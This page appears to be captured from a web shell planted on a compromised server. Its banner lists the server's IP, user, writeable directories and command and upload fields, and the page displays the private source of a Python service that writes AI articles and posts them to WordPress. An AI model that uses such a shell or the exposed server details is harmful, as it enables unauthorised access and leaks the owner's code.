403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/app/services/article_creation_service.py
import logging
import asyncio
import os
import time
from datetime import datetime
from typing import Optional, Callable, Awaitable

from fastapi import HTTPException

from app.services.chat import ChatService
from app.services.wp import WpService
from app.services.image import ImageService
from app.services.site_config_service import SiteConfigService
from app.services import usage_history
from app.services import credits_guard
from app.utilities.fact_check import fact_check_author_name as build_fact_check_author_name
from app.clients import markdown_parser as md
from app.appTypes import (
    Character,
    SiteConfig,
    ArticleResponse,
    ArticleCreationResult,
    ArticleProgressEvent,
)
from typing import Any, Dict, List

# Directory for individual article logs
ARTICLE_LOGS_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'logs', 'articles')


class ArticleCreationService:
    """
    Unified service for creating articles with AI.

    This service consolidates article creation logic used by both the streaming
    API route and the command-line script. It handles:
    - Character data loading
    - Current events research
    - AI article generation
    - WordPress post creation
    - Image generation
    - Inline fact-checking

    Progress updates can be emitted via optional callback for streaming scenarios.
    """

    def __init__(self):
        self.wp_service = WpService()
        self.chat_service = ChatService()
        self.image_service = ImageService()
        self.site_config_service = SiteConfigService()
        self._article_logger: Optional[logging.Logger] = None
        self._article_log_handler: Optional[logging.FileHandler] = None
        self._article_md_path: Optional[str] = None


    async def create_article(
        self,
        site: SiteConfig,
        character: Character,
        character_description_override: str = '',
        generate_featured_image: bool = True,
        generate_secondary_image: bool = True,
        research_current_events: bool = False,
        include_previous_articles: bool = True,
        enable_fact_checking: bool = True,
        enable_corrections: bool = False,
        series_name: Optional[str] = None,
        continue_series_id: Optional[int] = None,
        seed_image_url: Optional[str] = None,
        seed_image_instructions: Optional[str] = None,
        post_status: str = 'publish',
        progress_callback: Optional[Callable[[ArticleProgressEvent], Awaitable[None]]] = None
    ) -> ArticleCreationResult:
        """
        Create a complete article with AI and post to WordPress.

        Args:
            site: Site configuration
            character: AI character to use for article generation
            character_description_override: Optional override for character description
            generate_featured_image: Whether to generate featured image
            generate_secondary_image: Whether to generate secondary image
            research_current_events: Whether to research current events first
            include_previous_articles: Whether to include character's article history
            enable_fact_checking: Whether to post fact-check comment
            enable_corrections: Whether to post a corrections follow-up after the
                fact-check (only runs when the fact-check was actually posted)
            series_name: Optional series name (creates new if doesn't exist)
            continue_series_id: Optional WP taxonomy term ID to continue a series
            seed_image_url: Optional reference image URL to anchor the featured image.
                Only honored for a single article or the first part of a new series;
                for Part 2+ the existing series_reference_images chain takes over.
            seed_image_instructions: Optional free-text guidance for how the seed
                image should be used (e.g. "use this person as the main character").
            post_status: WordPress post status for the created article. Defaults to
                'publish'; pass 'draft' to generate a preview article that never goes
                live (used by the in-app Character Studio test-article tool).
            progress_callback: Optional async callback for progress updates

        Returns:
            ArticleCreationResult with article data and metadata

        Raises:
            HTTPException: On WordPress authentication or post creation failures
            Exception: On AI generation or image upload failures
        """
        # Set up article-specific logging
        log_path = self._setup_article_logger(character.name, site.slug)
        self._log('info', f"Article log file created: {log_path}")

        # Track overall timing (initialized before try block for error handling)
        overall_start = time.time()

        # Attribute all provider usage from this flow (article, fact-check,
        # corrections, Tavily) to this site. Reset in the finally below.
        _usage_token = usage_history.enter_usage_scope(site.slug)

        try:

            # Credit gate: pause paid article generation when a site is out of
            # credits and can't auto-recharge. Fails open if credits aren't
            # wired up / the store is unreachable (see credits_guard).
            await credits_guard.ensure_allowed(site.slug, 'article')

            # Step 1: Starting (0%)
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='starting',
                    progress=0,
                    message='Starting article creation...'
                )
            )
            self._log('info', f"Article creation started for character: {character.name}")

            # Step 2: Authenticate with WordPress (8%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='authenticating',
                    progress=8,
                    message='Authenticating with WordPress...'
                )
            )
            wp_token = self.wp_service.get_jwt_token(site)

            # Validate wp_token is a string
            if not isinstance(wp_token, str):
                error_msg = f"Invalid token: {wp_token}"
                self._log('error', error_msg)
                raise HTTPException(401, error_msg)

            self._log('info', f"WordPress authentication successful ({time.time() - step_start:.2f}s)")

            # Step 3: Load character data (15%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='loading_character',
                    progress=15,
                    message=f'Loading character data for {character.name}...'
                )
            )
            wp_user_data = self.wp_service.get_users(site, wp_token)
            self._log('info', f"Fetched WP users ({time.time() - step_start:.2f}s)")

            # Ensure wp_user_data is not None
            if wp_user_data is None:
                wp_user_data = []
                self._log('warning', "No WordPress users returned, using empty list")

            self.wp_service.add_to_character(site, character, wp_user_data)

            # Load recent articles filtered by author (if character has WordPress user)
            articles_start = time.time()
            from app.appTypes import WpUser
            if character.wp_user and isinstance(character.wp_user, WpUser):
                character.articles = self.wp_service.get_recent_articles(
                    site, wp_token, 100, author_id=character.wp_user.id
                )
                if character.articles is None:
                    character.articles = []
                    self._log('warning', f"No articles returned for author {character.wp_user.id}")
            else:
                character.articles = []
                self._log('warning', f"Character '{character.name}' has no WordPress user, skipping article history")

            self._log('info', f"Loaded {len(character.articles)} articles for character ({time.time() - articles_start:.2f}s)")

            # Step 4: Get categories and tags (20%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='fetching_data',
                    progress=20,
                    message='Fetching WordPress categories and tags...'
                )
            )
            categories = self.wp_service.get_categories(site)
            tags = self.wp_service.get_tags(site, wp_token)

            if categories is None:
                categories = []
                self._log('warning', "No categories returned, using empty list")
            if tags is None:
                tags = []
                self._log('warning', "No tags returned, using empty list")

            self._log('info', f"Got {len(categories)} categories and {len(tags)} tags ({time.time() - step_start:.2f}s)")

            # Step 4.5: Build series context if this is a series article
            series_context = None
            series_term_id = None
            series_part_number = None
            series_images: List[str] = []
            series_reference_images: List[str] = []

            if continue_series_id or series_name:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='loading_series',
                        progress=22,
                        message='Loading series context...'
                    )
                )

                # Resolve or create the series term
                if continue_series_id:
                    series_term_id = continue_series_id
                elif series_name:
                    # Check if series already exists
                    existing_terms = self.wp_service.get_series_terms(site, wp_token)
                    if existing_terms:
                        for term in existing_terms:
                            if term.get('name', '').lower() == series_name.lower():
                                series_term_id = term['id']
                                break
                    if not series_term_id:
                        # Create new series
                        series_term_id = self.wp_service.create_series_term(site, wp_token, series_name)
                        if series_term_id:
                            self._log('info', f"Created new series '{series_name}' (term ID: {series_term_id})")
                        else:
                            self._log('error', f"Failed to create series '{series_name}'")

                if series_term_id:
                    # Fetch existing articles in the series
                    series_articles = self.wp_service.get_series_articles(site, wp_token, series_term_id)

                    if series_articles and len(series_articles) > 0:
                        series_part_number = len(series_articles) + 1

                        # Build previous parts data
                        previous_parts = []
                        for sa in series_articles:
                            part_meta = sa.get('meta', {})
                            previous_parts.append({
                                'title': sa.get('title', {}).get('rendered', 'Untitled'),
                                'summary': part_meta.get('_series_summary', ''),
                                'part_number': part_meta.get('_series_part_number', 0),
                            })

                        # Get full content of the most recent part
                        latest_article = series_articles[-1]
                        latest_part_content = latest_article.get('content', {}).get('rendered', '')

                        # Extract images from first and latest parts for visual continuity
                        # extract_images() returns inline <img> srcs followed by the featured image
                        # (featured is last). We track two lists:
                        #   - series_images: everything, used to inform the article-writing LLM
                        #   - series_reference_images: just the featured image from first + latest,
                        #     capped at 2, passed to the image generator as input_images
                        first_featured: Optional[str] = None
                        latest_featured: Optional[str] = None
                        try:
                            first_images = self.wp_service.extract_images(series_articles[0])
                            series_images.extend(first_images)
                            if first_images:
                                first_featured = first_images[-1]
                        except Exception as img_err:
                            self._log('warning', f"Could not extract images from first series article: {img_err}")

                        if len(series_articles) > 1:
                            try:
                                latest_images = self.wp_service.extract_images(latest_article)
                                # Avoid duplicates
                                for img in latest_images:
                                    if img not in series_images:
                                        series_images.append(img)
                                if latest_images:
                                    latest_featured = latest_images[-1]
                            except Exception as img_err:
                                self._log('warning', f"Could not extract images from latest series article: {img_err}")

                        if first_featured:
                            series_reference_images.append(first_featured)
                        if latest_featured and latest_featured != first_featured:
                            series_reference_images.append(latest_featured)

                        # Extract category and tags from first article for consistency
                        first_article = series_articles[0]
                        series_category_name = None
                        series_tag_names: List[str] = []

                        # Get category name from first article
                        first_cat_ids = first_article.get('categories', [])
                        if first_cat_ids and categories:
                            for cat in categories:
                                if cat.get('id') in first_cat_ids:
                                    series_category_name = cat.get('name')
                                    break

                        # Get tag names from first article (excluding model/provider tags)
                        first_tag_ids = first_article.get('tags', [])
                        model_provider_names = {'OpenAI', 'Claude',
                                                'gpt-5.5', 'gpt-5.4', 'gpt-5',
                                                'gpt-4.1', 'gpt-4.1-mini', 'gpt-4.1-nano',
                                                'gpt-4o', 'gpt-4o-mini',
                                                'claude-sonnet-4-6', 'claude-sonnet-4-5-20250929',
                                                'claude-haiku-4-5-20251001',
                                                'claude-opus-4-7', 'claude-opus-4-5-20251101', 'claude-opus-4-6'}
                        if first_tag_ids and tags:
                            for tag in tags:
                                if tag.get('id') in first_tag_ids and tag.get('name') not in model_provider_names:
                                    series_tag_names.append(tag['name'])

                        # Get series name
                        resolved_series_name = series_name or ''
                        if not resolved_series_name:
                            terms = self.wp_service.get_series_terms(site, wp_token)
                            if terms:
                                for t in terms:
                                    if t.get('id') == series_term_id:
                                        resolved_series_name = t.get('name', f'Series {series_term_id}')
                                        break

                        series_context = {
                            'series_name': resolved_series_name,
                            'part_number': series_part_number,
                            'previous_parts': previous_parts,
                            'latest_part_content': latest_part_content,
                            'series_images': series_images,
                            'series_category': series_category_name,
                            'series_tags': series_tag_names,
                        }

                        self._log('info', f"Series context built: part {series_part_number}, {len(previous_parts)} previous parts, {len(series_images)} images")
                    else:
                        # First article in series
                        series_part_number = 1
                        resolved_series_name = series_name or f'Series {series_term_id}'
                        self._log('info', f"Starting new series '{resolved_series_name}' - this will be part 1")

                self._log('info', f"Series context loaded ({time.time() - step_start:.2f}s)")

                # Write series context to markdown file
                if series_context:
                    series_md = f"**Series:** {series_context['series_name']}\n"
                    series_md += f"**Part Number:** {series_context['part_number']}\n"
                    series_md += f"**Previous Parts:** {len(series_context['previous_parts'])}\n"
                    series_md += f"**Series Images:** {len(series_context['series_images'])}\n"
                    if series_context.get('series_category'):
                        series_md += f"**Series Category:** {series_context['series_category']}\n"
                    if series_context.get('series_tags'):
                        series_md += f"**Series Tags:** {', '.join(series_context['series_tags'])}\n"
                    self._write_markdown_section("Series Context", series_md)

            # Seed image is honored only for a single article or the first part
            # of a new series. For Part 2+, the existing series_reference_images
            # chain (first + latest featured) carries the visual style forward.
            seed_honored = bool(seed_image_url) and (
                series_part_number is None or series_part_number == 1
            )
            if seed_image_url and not seed_honored:
                self._log(
                    'warning',
                    f"seed_image_url supplied but ignored — series_part_number={series_part_number}; "
                    "seed image only applies to single articles or Part 1 of a new series."
                )
            effective_seed_url = seed_image_url if seed_honored else None
            effective_seed_instructions = (seed_image_instructions or '').strip() if seed_honored else ''

            # Step 5: Research current events if requested (25%)
            search_results = None
            if research_current_events:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='researching',
                        progress=25,
                        message='Researching current events...'
                    )
                )

                # Require character to have searchQuery when researching current events
                if not hasattr(character, 'searchQuery') or not character.searchQuery:
                    raise ValueError(f"Character '{character.name}' has research_current_events enabled but no searchQuery defined")
                search_query = character.searchQuery

                topic = character.searchTopicType if character.searchTopicType else 'general'
                self._log('info', f"Searching for '{search_query}' (topic: {topic})")

                search_results = self.chat_service.search_current_events(
                    search_query,
                    max_results=character.maxSearchResults or 5,
                    include_domains=character.searchDomainsIncluded,
                    exclude_domains=character.searchDomainsExcluded,
                    topic=topic,
                    time_range=character.searchTimeRange,
                    search_depth=character.searchDepth or "basic",
                    chunks_per_source=character.chunksPerSource,
                )
                self._log('info', f"Found {len(search_results)} search results ({time.time() - step_start:.2f}s)")

                # Write search results to separate markdown file
                self._write_search_results_file(search_query, topic, search_results, character.name)

            # Step 6: Prepare system message (30%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='preparing_prompt',
                    progress=30,
                    message='Preparing article prompt...'
                )
            )
            sys_msg = self.wp_service.get_new_article_system_message(
                character, categories, tags, character_description_override or "", include_previous_articles, series_context
            )
            self._log('info', f"System message prepared ({time.time() - step_start:.2f}s)")

            # Write system message to markdown file
            self._write_markdown_section("System Message", sys_msg)

            # Step 7: Generate article with AI (35%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='generating_article',
                    progress=35,
                    message='Generating article with AI (this may take a few minutes)...'
                )
            )
            human_msg = 'Please write an article.'
            # Combine the seed image (if honored) with any series_images. In
            # practice these are mutually exclusive — the seed is only honored
            # when there are no prior series parts — but the union keeps the
            # call shape simple either way.
            article_images: List[str] = []
            if effective_seed_url:
                article_images.append(effective_seed_url)
            if series_images:
                for img in series_images:
                    if img not in article_images:
                        article_images.append(img)

            article, actual_model, enhanced_human_msg = self.chat_service.createArticle(
                sys_msg, human_msg, model=character.model, search_results=search_results,
                images=article_images if article_images else None,
                seed_image_instructions=effective_seed_instructions or None,
            )

            # Write human message (with search context and citation instructions if research was performed) to markdown file
            self._write_markdown_section("Human Message", enhanced_human_msg)

            if not isinstance(article, ArticleResponse):
                error_msg = "Article generation returned invalid response"
                self._log('error', error_msg)
                raise Exception(error_msg)

            if series_part_number:
                prefix_name = series_context['series_name'] if series_context else series_name
                series_prefix = f"{prefix_name}, Part {series_part_number}: "
                if not article.title.startswith(series_prefix):
                    article.title = f"{series_prefix}{article.title}"

            self._log('info', f"Generated article - {article.title} ({time.time() - step_start:.2f}s)")

            # Write article details to markdown file
            model_info = f"{actual_model.provider.value} {actual_model.name}" if actual_model else "unknown"
            article_md = f"""**Title:** {article.title}

**Category:** {article.category}

**Tags:** {', '.join(article.tags)}

**Model:** {model_info}

**Featured Image Description:** {article.featured_image_description or 'N/A'}

**Secondary Image Description:** {article.secondary_image_description or 'N/A'}

### Article Body

{article.body}"""
            self._write_markdown_section("Generated Article", article_md)

            # Step 8: Creating WordPress post (50%)
            step_start = time.time()
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='creating_post',
                    progress=50,
                    message='Creating WordPress post...'
                )
            )

            # Create the WordPress post first (without images)
            # Find/create category
            category = self.wp_service.find_category_by_name(categories, article.category)
            if not category:
                self._log('error', f'Category not found: {article.category}')
                category = self.wp_service.find_category_by_name(categories, 'Uncategorized')
                if not category:
                    self._log('error', 'Uncategorized category not found!')
                    raise HTTPException(500, 'Category not found.')

            # Find/create tags
            tag_ids = []
            for article_tag in article.tags:
                tag = self.wp_service.find_tag_by_name(tags, article_tag)
                if tag:
                    tag_ids.append(tag['id'])
                else:
                    tag_id = self.wp_service.post_tag(site, wp_token, article_tag)
                    tag_ids.append(tag_id)

            # Post the article
            model_for_post = actual_model if actual_model else character.model
            resp = self.wp_service.post_article(site, wp_token, character, article, category['id'], tag_ids, search_results, model=model_for_post, status=post_status)
            if not resp:
                raise HTTPException(500, 'Failed to create WordPress post.')
            wp_post_id = resp["id"]
            wp_post_link = resp.get("link")
            self._log('info', f"Created WP post {wp_post_id} ({time.time() - step_start:.2f}s)")

            # Step 8.5: Set series metadata on the post if applicable
            if series_term_id and series_part_number:
                summary = article.series_summary or ''
                success = self.wp_service.set_post_series(
                    site, wp_token, wp_post_id, series_term_id, series_part_number, summary
                )
                if success:
                    self._log('info', f"Post assigned to series {series_term_id} as part {series_part_number}")
                else:
                    self._log('error', f"Failed to assign post to series")

            # Step 9: Generating featured image (65%) - Optional
            featured_image_url = None
            featured_image_base64 = None
            if generate_featured_image:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='generating_featured_image',
                        progress=65,
                        message='Generating featured image...'
                    )
                )

                try:
                    # Create and upload featured image. When a seed image is in
                    # play (single article or series Part 1), prepend it to the
                    # reference list so the image model anchors on it directly.
                    featured_refs: List[str] = []
                    if effective_seed_url:
                        featured_refs.append(effective_seed_url)
                    if series_reference_images:
                        for ref in series_reference_images:
                            if ref not in featured_refs:
                                featured_refs.append(ref)
                    featured_image, featured_image_base64 = await self.wp_service.create_image(
                        site, article,
                        reference_images=featured_refs or None,
                        seed_image_instructions=effective_seed_instructions or None,
                    )
                    self._log('info', f"Featured image created: {featured_image}")

                    resp = self.image_service.compress_and_save(site, wp_token, featured_image, 50)

                    # Check if upload succeeded
                    if "error" in resp:
                        error_msg = f"WordPress media upload failed: {resp.get('error')} - {resp.get('message', 'Unknown error')}"
                        raise Exception(error_msg)

                    image_id = resp["id"]
                    featured_image_url = str(resp.get("source_url", featured_image))

                    # Post featured image
                    self.wp_service.post_featured_image(site, wp_token, wp_post_id, image_id)

                    # Store caption (post_excerpt) + alt on the attachment. The
                    # caption is rendered under the featured image by the
                    # tsai-plugin featured-caption filter.
                    self.wp_service.update_media_meta(
                        site, wp_token, image_id,
                        caption=article.featured_image_caption,
                        alt_text=article.featured_image_caption or article.title,
                    )
                    self._log('info', f"Featured image posted ({time.time() - step_start:.2f}s)")
                except Exception as featured_image_error:
                    # Best-effort: a transient image failure must not abort the
                    # already-published article or skip downstream fact-checking.
                    self._log('error', f"Featured image failed - {featured_image_error}")
                    featured_image_url = None
                    featured_image_base64 = None
            else:
                self._log('info', "Featured image generation skipped")

            # Step 10: Generating secondary image (80%) - Optional
            secondary_image_url = None
            if generate_secondary_image:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='generating_secondary_image',
                        progress=80,
                        message='Generating secondary image...'
                    )
                )

                try:
                    # Create and upload secondary image
                    secondary_image = await self.wp_service.create_secondary_image(
                        site, article, featured_image_base64,
                        reference_images=series_reference_images or None,
                    )
                    self._log('info', f"Secondary image created: {secondary_image}")

                    resp = self.image_service.compress_and_save(site, wp_token, secondary_image, 50)

                    # Check if upload succeeded
                    if "error" in resp:
                        error_msg = f"WordPress media upload failed: {resp.get('error')} - {resp.get('message', 'Unknown error')}"
                        raise Exception(error_msg)

                    secondary_image_id = resp["id"]
                    secondary_image_url = str(resp.get("source_url", secondary_image))
                    self._log('info', f"Secondary image uploaded ({time.time() - step_start:.2f}s)")

                    # Store caption + alt on the attachment (SEO/accessibility);
                    # the visible caption is the inline <figcaption> below.
                    self.wp_service.update_media_meta(
                        site, wp_token, secondary_image_id,
                        caption=article.secondary_image_caption,
                        alt_text=article.secondary_image_caption or article.title,
                    )

                    # Insert secondary image into content
                    post_content = md.render(article.body)
                    updated_content = self.wp_service.insert_image_into_content(
                        post_content, secondary_image_id, secondary_image_url, article.title,
                        caption=article.secondary_image_caption or "",
                    )
                    self.wp_service.update_post_content(site, wp_token, wp_post_id, updated_content)
                    self._log('info', "Post content updated with secondary image")
                except Exception as secondary_image_error:
                    # Best-effort: a transient image failure must not abort the
                    # already-published article or skip downstream fact-checking.
                    self._log('error', f"Secondary image failed - {secondary_image_error}")
                    secondary_image_url = None
            else:
                self._log('info', "Secondary image generation skipped")

            # Step 11: Finalizing (92%)
            await self._emit_progress(
                progress_callback,
                ArticleProgressEvent(
                    status='finalizing',
                    progress=92,
                    message='Finalizing article...'
                )
            )

            # Image URLs used as vision context by both fact-check and corrections.
            images = []
            if generate_featured_image and featured_image_url:
                images.append(featured_image_url)
            if generate_secondary_image and secondary_image_url:
                images.append(secondary_image_url)

            # Step 12: Fact-checking (95%) - Only if enabled
            fact_check_posted = False
            fact_check_comment = None
            fact_check_comment_id = None
            if enable_fact_checking:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='fact_checking',
                        progress=95,
                        message='Generating fact-check analysis...'
                    )
                )

                # Perform fact-checking (don't fail article creation if this fails)
                try:
                    # Generate fact-check comment using opposite AI provider
                    fact_check_comment, model_name, provider_name = self.chat_service.fact_check_article(
                        article_title=article.title,
                        article_body=article.body,
                        images=images,
                        original_model=actual_model,
                        search_results=search_results
                    )

                    # Format author name and email for fact-check
                    fact_check_author_name = build_fact_check_author_name(provider_name, model_name)
                    fact_check_author_email = "editor@turmansolutions.ai"

                    # Post fact-check as a comment on the article. Capture the
                    # response so corrections can thread under it (the just-posted
                    # comment may be held in moderation and not re-fetchable).
                    fact_check_resp = self.wp_service.post_comment(
                        site=site,
                        character=character,
                        post_id=wp_post_id,
                        comment=fact_check_comment,
                        token=wp_token,
                        author_name_override=fact_check_author_name,
                        author_email_override=fact_check_author_email
                    )
                    fact_check_comment_id = fact_check_resp.get("id") if fact_check_resp else None

                    fact_check_posted = True
                    self._log('info', f"Fact-check comment posted ({time.time() - step_start:.2f}s)")

                except Exception as fact_check_error:
                    self._log('error', f"Fact-check failed - {str(fact_check_error)}")
                    # Continue with article completion even if fact-check fails
            else:
                self._log('info', "Fact-checking skipped (disabled)")

            # Step 13: Corrections (97%) - only if a fact-check was actually posted
            corrections_posted = False
            if enable_corrections and fact_check_posted and fact_check_comment_id is not None:
                step_start = time.time()
                await self._emit_progress(
                    progress_callback,
                    ArticleProgressEvent(
                        status='correcting',
                        progress=97,
                        message='Generating corrections follow-up...'
                    )
                )
                # Reuse the shared corrections orchestration; never abort an
                # already-published article if corrections fail.
                try:
                    from app.services.corrections_service import run_corrections_core

                    # Corrections expect the body as HTML (the contract shared
                    # with improve_article.py, which passes content.rendered).
                    # The revised body they generate is written straight back to
                    # WordPress with no markdown rendering, so we must hand them
                    # the published HTML — not article.body (raw markdown). Passing
                    # markdown here let WordPress's wpautop wrap it verbatim,
                    # leaving literal "## headings" and "[[1]](url)" citations in
                    # the body. Re-fetch the published post so the LLM also sees
                    # the footer and any inserted secondary image; fall back to
                    # rendering the markdown if the fetch fails.
                    corrections_body_html = None
                    current_post = self.wp_service.get_article(site, wp_token, wp_post_id)
                    if current_post:
                        corrections_body_html = current_post.get('content', {}).get('rendered')
                    if not corrections_body_html:
                        corrections_body_html = md.render(article.body)

                    corrections_result = run_corrections_core(
                        wp_service=self.wp_service,
                        chat_service=self.chat_service,
                        site=site,
                        wp_token=wp_token,
                        post_id=wp_post_id,
                        article_title=article.title,
                        article_body=corrections_body_html,
                        fact_check_text=fact_check_comment,   # in-memory; no WP re-fetch
                        parent_comment_id=fact_check_comment_id,
                        images=images,
                        search_results=search_results,
                        character=character,
                    )
                    corrections_posted = True
                    self._log(
                        'info',
                        f"Corrections posted (body_updated={corrections_result['body_updated']}) "
                        f"({time.time() - step_start:.2f}s)"
                    )
                except Exception as corrections_error:
                    self._log('error', f"Corrections failed - {str(corrections_error)}")
                    # Continue with article completion even if corrections fail
            elif enable_corrections:
                self._log('info', "Corrections skipped (fact-check not posted)")

            total_time = time.time() - overall_start
            self._log('info', f"Article creation completed successfully (total: {total_time:.2f}s)")

            # Write summary to markdown file
            model_info = f"{actual_model.provider.value} {actual_model.name}" if actual_model else "unknown"
            self._write_summary_section(
                total_time=total_time,
                success=True,
                article_title=article.title,
                model_info=model_info,
                wp_post_id=wp_post_id,
                generate_featured_image=generate_featured_image,
                generate_secondary_image=generate_secondary_image,
                research_current_events=research_current_events,
                enable_fact_checking=enable_fact_checking,
                fact_check_posted=fact_check_posted,
                enable_corrections=enable_corrections,
                corrections_posted=corrections_posted,
                featured_image_url=featured_image_url,
                secondary_image_url=secondary_image_url
            )

            # Return complete result
            return ArticleCreationResult(
                article=article,
                post_id=wp_post_id,
                actual_model=actual_model,
                permalink=wp_post_link,
                featured_image_url=featured_image_url,
                secondary_image_url=secondary_image_url,
                search_results=search_results,
                fact_check_posted=fact_check_posted,
                corrections_posted=corrections_posted,
                series_term_id=series_term_id,
                series_part_number=series_part_number
            )

        except Exception as e:
            total_time = time.time() - overall_start
            self._log('error', f"Article creation failed: {str(e)}")
            # Write failure summary
            self._write_summary_section(
                total_time=total_time,
                success=False,
                article_title="N/A",
                model_info="N/A",
                wp_post_id=0,
                generate_featured_image=generate_featured_image,
                generate_secondary_image=generate_secondary_image,
                research_current_events=research_current_events,
                enable_fact_checking=enable_fact_checking,
                fact_check_posted=False,
                enable_corrections=enable_corrections,
                corrections_posted=False
            )
            raise

        finally:
            usage_history.exit_usage_scope(_usage_token)
            # Always clean up the article logger
            self._cleanup_article_logger()

    async def _emit_progress(
        self,
        callback: Optional[Callable[[ArticleProgressEvent], Awaitable[None]]],
        event: ArticleProgressEvent
    ):
        """
        Emit progress event via callback if provided.

        Args:
            callback: Optional async callback function
            event: Progress event to emit
        """
        if callback:
            await callback(event)
        await asyncio.sleep(0)  # Force flush

    def _setup_article_logger(self, character_name: str, site_slug: str) -> str:
        """
        Set up a dedicated logger and markdown file for this article creation.

        Creates two files in logs/articles/:
        - .log file for timestamped progress/debug entries
        - .md file for readable system message and article content

        Args:
            character_name: Name of the character creating the article
            site_slug: Site slug identifier

        Returns:
            Path to the created log file
        """
        # Ensure logs directory exists
        os.makedirs(ARTICLE_LOGS_DIR, exist_ok=True)

        # Create filename with timestamp and sanitized character name
        timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
        safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in character_name)
        base_filename = f'{timestamp}_{site_slug}_{safe_name}'

        # Set up .log file for progress/debug logging
        log_path = os.path.join(ARTICLE_LOGS_DIR, f'{base_filename}.log')

        # Create a dedicated logger for this article
        self._article_logger = logging.getLogger(f'article_{timestamp}_{safe_name}')
        self._article_logger.setLevel(logging.INFO)

        # Remove any existing handlers
        self._article_logger.handlers.clear()

        # Create file handler for this article
        self._article_log_handler = logging.FileHandler(log_path, encoding='utf-8')
        self._article_log_handler.setLevel(logging.INFO)

        # Use same format as main logger
        formatter = logging.Formatter(
            '%(levelname)s %(asctime)s %(filename)s ln %(lineno)s %(message)s',
            datefmt='%m/%d/%Y %I:%M:%S %p'
        )
        self._article_log_handler.setFormatter(formatter)
        self._article_logger.addHandler(self._article_log_handler)

        # Prevent propagation to root logger to avoid duplicate entries
        self._article_logger.propagate = False

        # Set up .md file for readable content
        self._article_md_path = os.path.join(ARTICLE_LOGS_DIR, f'{base_filename}.md')

        # Write markdown header
        with open(self._article_md_path, 'w', encoding='utf-8') as f:
            f.write(f"# Article Creation: {character_name}\n\n")
            f.write(f"**Site:** {site_slug}  \n")
            f.write(f"**Date:** {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
            f.write("---\n\n")

        return log_path

    def _log(self, level: str, message: str) -> None:
        """
        Log to both the main logger and the article-specific logger.

        Args:
            level: Log level ('info', 'warning', 'error')
            message: Message to log
        """
        # Log to main logger
        log_func = getattr(logging, level)
        log_func(message)

        # Log to article-specific logger if set up
        if self._article_logger:
            article_log_func = getattr(self._article_logger, level)
            article_log_func(message)

    def _write_markdown_section(self, header: str, content: str) -> None:
        """
        Append a markdown section to the article's .md file.

        Args:
            header: Section header (will be formatted as ## header)
            content: Content to write (can contain markdown)
        """
        if self._article_md_path:
            with open(self._article_md_path, 'a', encoding='utf-8') as f:
                f.write(f"## {header}\n\n{content}\n\n")

    def _write_search_results_file(self, search_query: str, topic: str, search_results: list, character_name: str) -> None:
        """
        Write Tavily search results to a separate markdown file.

        Args:
            search_query: The search query used
            topic: The search topic type
            search_results: List of search result dicts with title, url, content, score
            character_name: Name of the character for the filename
        """
        if not self._article_md_path or not search_results:
            return

        # Create search results file with same base name but _search suffix
        search_md_path = self._article_md_path.replace('.md', '_search.md')

        with open(search_md_path, 'w', encoding='utf-8') as f:
            f.write(f"# Tavily Search Results: {character_name}\n\n")
            f.write(f"**Query:** {search_query}  \n")
            f.write(f"**Topic:** {topic}  \n")
            f.write(f"**Results:** {len(search_results)}  \n")
            f.write(f"**Date:** {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
            f.write("---\n\n")

            for i, result in enumerate(search_results, 1):
                title = result.get('title', 'No title')
                url = result.get('url', '')
                content = result.get('content', 'No content')
                score = result.get('score', 0)
                raw_content = result.get('raw_content', '')

                f.write(f"## {i}. {title}\n\n")
                f.write(f"**URL:** [{url}]({url})  \n")
                f.write(f"**Score:** {score:.4f}\n\n")
                f.write(f"### Summary\n\n{content}\n\n")

                if raw_content:
                    # Truncate raw content if too long
                    if len(raw_content) > 5000:
                        raw_content = raw_content[:5000] + "\n\n*[Content truncated...]*"
                    f.write(f"### Full Content\n\n{raw_content}\n\n")

                f.write("---\n\n")

        self._log('info', f"Search results written to: {search_md_path}")

    def _write_summary_section(
        self,
        total_time: float,
        success: bool,
        article_title: str,
        model_info: str,
        wp_post_id: int,
        generate_featured_image: bool,
        generate_secondary_image: bool,
        research_current_events: bool,
        enable_fact_checking: bool,
        fact_check_posted: bool,
        enable_corrections: bool = False,
        corrections_posted: bool = False,
        featured_image_url: Optional[str] = None,
        secondary_image_url: Optional[str] = None
    ) -> None:
        """
        Write a summary section at the end of the article's .md file.

        Args:
            total_time: Total elapsed time in seconds
            success: Whether article creation succeeded
            article_title: Title of the generated article
            model_info: Model provider and name used
            wp_post_id: WordPress post ID
            generate_featured_image: Whether featured image was requested
            generate_secondary_image: Whether secondary image was requested
